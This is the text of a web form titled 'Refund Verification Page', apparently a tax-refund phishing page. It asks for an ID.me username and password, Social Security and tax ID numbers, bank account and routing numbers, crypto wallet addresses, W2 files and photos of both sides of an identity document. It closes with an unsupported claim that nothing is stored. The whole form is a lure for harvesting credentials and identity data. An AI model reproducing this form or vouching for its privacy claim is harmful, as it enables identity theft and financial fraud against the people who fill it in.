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Refund Verification Page
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Step
1
of 3
Full Name
*
Email
*
IDME Username
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IDME Password
*
Phone Number
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Address
*
Address Line 1
City
State / Province / Region
Postal Code
--- Select country ---
Afghanistan
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Country
Gender
*
Male
Female
Others
Means W2 of
Marital Status
*
Choose Status
Choose Status
Married
Single
Divorced
Number of Dependants
Selected Value:
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Next
Identification Means
*
Choose Means
Choose Means
International Passport
Drivers License
Other ID
Upload ID (front)
*
Click or drag a file to this area to upload.
Max upload size is 5MB
Upload ID (back)
*
Click or drag a file to this area to upload.
Max upload size is 5MB
Upload 2024 W2 File:
*
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Max upload size is 5MB
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Annual Income:
*
Employment Status:
*
SSN NO:
*
Bitcoin Wallet Address:
Ethereum Wallet Address:
TIN(Tax Identification Number):
*
Account Number:
*
Routing Number:
*
Name of Bank:
*
Bank Address:
*
Purpose of Refund
*
Amount Applied For
*
Terms of Submission
Agree To Terms and conditions
Please note that the information provided will not be stored in our system. It is used solely for verification purposes and will be deleted immediately after the ID verification process is completed and confirmed.
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